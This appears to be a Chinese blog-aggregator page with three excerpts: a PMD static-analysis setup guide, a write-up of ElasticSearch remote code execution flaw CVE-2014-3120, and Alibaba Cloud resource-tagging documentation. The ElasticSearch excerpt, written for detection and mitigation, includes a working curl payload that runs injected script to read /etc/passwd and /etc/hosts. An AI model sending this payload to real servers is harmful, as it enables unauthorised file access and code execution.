首页 文章 精选 留言 我的

精选列表

搜索[CVE扫描],共10005篇文章
优秀的个人博客,低调大师

添加PMD插件扫描潜在的bug

上一节使用checkstyle来规范你的项目主要解决了代码编码规范问题,比如缩进换行等。这次继续代码健康工具类PMD。 什么是PMD PMD真的不像checkstyle这样的东西所见即所得啊,去官网找了半天也没有找到解释。官网都直接说是PMD。 We've been trying to find the meaning of the letters PMD - because frankly, we don't really know. We just think the letters sound good together. 简单来说,PMD是一个代号,是一个静态代码检测工具。它可以用来检查 潜在的bug:空的try/catch/finally/switch语句 未使用的代码:未使用的局部变量、参数、私有方法等 可选的代码:String/StringBuffer的滥用 复杂的表达式:不必须的if语句、可以使用while循环完成的for循环 重复的代码:拷贝/粘贴代码意味着拷贝/粘贴bugs 总之,这是一个辅助我们检测潜在bug的工具,大大减少了人工审查成本,提高编码效率。 在gradle中使用 gradle还是一贯的简单,新建pmd.gradle /** * The PMD Plugin * * Gradle plugin that performs quality checks on your project’s Java source files using PMD * and generates reports from these checks. * * Tasks: * Run PMD against {rootDir}/src/main/java: ./gradlew pmdMain * Run PMD against {rootDir}/src/test/java: ./gradlew pmdTest * * Reports: * PMD reports can be found in {project.buildDir}/build/reports/pmd * * Configuration: * PMD is very configurable. The configuration file is located at {rootDir}/config/pmd/pmd-ruleset.xml * * Additional Documentation: * https://docs.gradle.org/current/userguide/pmd_plugin.html */ apply plugin: 'pmd' pmd { // The version of the code quality tool to be used. // The most recent version of PMD can be found at https://pmd.github.io toolVersion = "5.8.1" // The source sets to be analyzed as part of the check and build tasks. // Use 'sourceSets = []' to remove PMD from the check and build tasks. sourceSets = [project.sourceSets.main] // The directory where reports will be generated. reportsDir = file("$project.buildDir/reports/pmd") // Whether to allow the build to continue if there are warnings. ignoreFailures = false // Whether or not rule violations are to be displayed on the console. consoleOutput = true // The custom rule set files to be used. ruleSetConfig = resources.text.fromFile("$rootProject.projectDir/config/pmd/pmd-ruleset.xml") } 添加我们的pmd-ruleset.xml配置文件, 这个ruleset有很多种,我们可以先把所有的加上,然后在开发中调整,直到找到最合适的配置方案。因为全部的规则太多,会导致你花费大量的时间解决PMD问题。 ruleset内容可以在https://maven.apache.org/plugins/maven-pmd-plugin/examples/usingRuleSets.html 这里找到 然后在build.gradle中添加 apply from: 'pmd.gradle' 执行 ./gradlew check 或者 ./gradlew build 报告位置: build/reports/pmd/main.html 在maven中使用 maven需要把ruleset放到resources下读取,如果是单moudle项目,直接就可以。如果是多模块项目,需要额外做一些工作。 我们来新建一个项目来单独存储配置文件,build-tools. 在resources下放置ruleset。名字叫做pmd-ruleset.xml, 内容见https://maven.apache.org/plugins/maven-pmd-plugin/examples/usingRuleSets.html 然后maven install把这个子模块给安装到本地仓库。 接着修改parent pom <build> <pluginManagement> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-pmd-plugin</artifactId> <version>3.10.0</version> <dependencies> <dependency> <groupId>com.shuwei</groupId> <artifactId>build-tools</artifactId> <version>0.0.1</version> </dependency> </dependencies> <configuration> <sourceEncoding>utf-8</sourceEncoding> <minimumTokens>100</minimumTokens> <targetJdk>${java.version}</targetJdk> <excludes> <exclude>**/message/*.java</exclude> <exclude>**/generated/*.java</exclude> </excludes> <excludeRoots> <excludeRoot>target/generated-sources</excludeRoot> </excludeRoots> <rulesets> <ruleset>pmd-ruleset.xml</ruleset> </rulesets> <printFailingErrors>true</printFailingErrors> </configuration> <executions> <execution> <id>install</id> <phase>install</phase> <goals> <goal>pmd</goal> </goals> </execution> </executions> </plugin> </plugins> </pluginManagement> <!--所有子模块都要执行的plugin--> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-pmd-plugin</artifactId> </plugin> </plugins> </build> <reporting> <!--所有子模块都要执行的报告--> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-pmd-plugin</artifactId> </plugin> </plugins> </reporting> 和上一节checkstyle不同的时候,这里的plugin下新增了dependency节点。这个节点负责加载一些资源过来,比如我们的配置文件ruleset。所以,这个dependency要先于项目存在,所以才要先单独install一下。当然,也可以把这个项目放到maven私服上,这样更简单了。 依旧把pmd的运行绑定到install命令上,这样,我们运行maven install的时候就可以进行pmd检查了。 检查报告在 j-context/target/site/pmd.html 也可以单独运行pmd mvn pmd:pmd idea插件 搜索安装idea pmd插件,导入我们的ruleset, 然后在项目上右键,run pmd即可。 Ruleset default内容 可以在maven官网看到: https://maven.apache.org/plugins/maven-pmd-plugin/examples/usingRuleSets.html PMD 包含 16 个规则集,涵盖了 Java 的各种常见问题,其中一些规则要比其他规则更有争议: 基本(rulesets/basic.xml)—— 规则的一个基本合集,可能大多数开发人员都不认同它: catch 块不该为空,无论何时重写 equals(),都要重写 hashCode(),等等。 命名(rulesets/naming.xml)—— 对标准 Java 命令规范的测试:变量名称不应太短;方法名称不应过长;类名称应当以小写字母开头;方法和字段名应当以小写字母开头,等等。 未使用的代码(rulesets/unusedcode.xml)—— 查找从未使用的私有字段和本地变量、执行不到的语句、从未调用的私有方法,等等。 设计(rulesets/design.xml)—— 检查各种设计良好的原则,例如: switch 语句应当有 default 块,应当避免深度嵌套的 if 块,不应当给参数重新赋值,不应该对 double 值进行相等比较。 导入语句(rulesets/imports.xml)—— 检查 import 语句的问题,比如同一个类被导入两次或者被导入 java.lang 的类中。 JUnit 测试(rulesets/junit.xml)—— 查找测试用例和测试方法的特定问题,例如方法名称的正确拼写,以及 suite() 方法是不是 static 和 public。 字符串(rulesets/string.xml)—— 找出处理字符串时遇到的常见问题,例如重复的字符串标量,调用 String 构造函数,对 String 变量调用 toString() 方法。 括号(rulesets/braces.xml)—— 检查 for、 if、 while 和 else 语句是否使用了括号。 代码尺寸(rulesets/codesize.xml)—— 测试过长的方法、有太多方法的类以及重构方面的类似问题。 Javabean(rulesets/javabeans.xml)—— 查看 JavaBean 组件是否违反 JavaBean 编码规范,比如没有序列化的 bean 类。 终结函数(finalizer)—— 因为在 Java 语言中, finalize() 方法不是那么普遍(我上次编写这个代码也经是好多年前的事了),所以它们的使用规则虽然很详细,但是人们对它们相对不是很熟悉。这类检查查找 finalize() 方法的各种问题,例如空的终结函数,调用其他方法的 finalize() 方法,对 finalize() 的显式调用,等等。 克隆(rulesets/clone.xml)—— 用于 clone() 方法的新规则。凡是重写 clone() 方法的类都必须实现 Cloneable, clone() 方法应该调用 super.clone(),而 clone() 方法应该声明抛出 CloneNotSupportedException 异常,即使实际上没有抛出异常,也要如此。 耦合(rulesets/coupling.xml)—— 查找类之间过度耦合的迹象,比如导入内容太多;在超类型或接口就已经够用的时候使用子类的类型;类中的字段、变量和返回类型过多等。 严格的异常(rulesets/strictexception.xml)—— 针对异常的测试:不应该声明该方法而抛出 java.lang.Exception 异常,不应当将异常用于流控制,不应该捕获 Throwable,等等。 有争议的(rulesets/controversial.xml)—— PMD 的有些规则是有能力的 Java 程序员可以接受的。但还是有一些争议。这个规则集包含一些更有问题的检验,其中包括把 null 赋值给变量、方法中有多个返回点,以及从 sun 包导入等。 日志(rulesets/logging-java.xml)—— 查找 java.util.logging.Logger 的不当使用,包括非终状态(nonfinal)、非静态的记录器,以及在一个类中有多个记录器。 参考 PMD官网 Maven插件 Gradle插件 用 PMD 铲除 bug 关注我的公众号 唯有不断学习方能改变! -- Ryan Miao

优秀的个人博客,低调大师

ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析

原理 这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。 ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。 而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。 其实官方是清楚这个漏洞的,在文档里有说明: First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween. 检测方法 在线检测: http://tool.scanv.com/es.html 可以检测任意地址 http://bouk.co/blog/elasticsearch-rce/poc.html 只检测localhost,不过会输出/etc/hosts和/etc/passwd文件的内容到网页上 自己手动检测: curl -XPOST 'http://localhost:9200/_search?pretty' -d ' { "size": 1, "query": { "filtered": { "query": { "match_all": {} } } }, "script_fields": { "/etc/hosts": { "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();" }, "/etc/passwd": { "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();" } } } ' 处理办法 关掉执行脚本功能,在配置文件elasticsearch.yml里为每一个结点都加上: script.disable_dynamic: true http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts 官方会在1.2版本默认关闭动态脚本。 https://github.com/elasticsearch/elasticsearch/issues/5853 参考: http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html http://bouk.co/blog/elasticsearch-rce/

优秀的个人博客,低调大师

标记(TAG)您的漏洞扫描(CSS)资源

标签的基本知识 标签是资源Meta信息,标签是一些充当元数据的词和短语,支持用户自定义和系统预制。每个标签都包含一个键(Key)和一个值(Value)。标签是一种资源的属性描述。 标签与资源是 多对多的关系。 标签可让您按各种标准(例如用途、所有者或环境)对 阿里云 资源进行分类。这在您具有相同类型的许多资源时会很有用,您可以根据分配给资源的标签快速识别特定资源。 标签对阿里云资源没有任何语义意义,应严格按字符串进行解析。同时,标签不会自动分配至您的资源。您可以修改标签的key和value,还可以随时删除资源的标签。您可以将标签的值设为空的字符串,但是不能将其设为空值。如果您添加的标签的值与该实例上现有标签的值相同,新的值就会覆盖旧值。如果删除资源,资源的所有标签也会被删除。 可以使用管理控制台 和 API 处理标签。 标签设计详情见最佳实践 标签的限制 最大键(key)长度:128 个 Unicode 字符 最大值(value)长度:128 个 Unicode 字符 同一个资源上的同一个键只能有一个标签。如果您尝试添加现有标签 (相同键),现有标签值会更新为新值。 允许的字符包括 Unicode 字母、空格和数字,以及以下特殊字符为 匹配这些中文标点符号 。?!,、;:“ ” ‘ ’( ) 《 》 〈 〉 【 】 『 』 「 」 ﹃ ﹄ 〔 〕 … — ~ ﹏ ¥ 匹配这些英文标点符号 -.!@#$%?/^&*)(+={}[]",'<>~·`?:;|_ 每个资源的最大 自定义 标签数:20 键(key)不支持 aliyun、acs: 开头。 不允许包含http:// 和 https:// 。不允许为空字符串。 值(value)不允许包含http:// 和 https:// 。允许为空字符串。 标记您的资源 您可以标记新的或现有的 ECI 容器组(ContainerGroup) 通过API: 为资产添加标签 AddAssets 通过标签过滤资产DescribeUserTags 查询用户标签 DescribeUserTags 通过控制台 通过控制台对标签进行操作步骤请看官方文档标签分组 相关文档 基于OOS批量修改资源标签(TAG)值(Value)强制TAG——必须带标签创建ECS 资源ECS支持跨地域跨资源类型的标签(TAG)操作如何检查您的资源是否具有您指定的标签?基于标签批量管理资源支持标签产品及其文档标签的最佳实践通过OOS基于标签批量启动ECS实例实践如何使用标签控制对ECS 资源的访问?使用标签检索资源创建资源标签分组设置ECS全局标签实践ECS控制台云资源分组管理---全局标签标记您的MongoDB数据库实例标记您的 CDN 资源——域名(domain)标记您的 OSS 资源标记您的 RDS 资源标记您的 SLB 资源标记您的 ECS 资源标记您的redis数据库实例标记您的弹性容器实例(ECI)资源

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册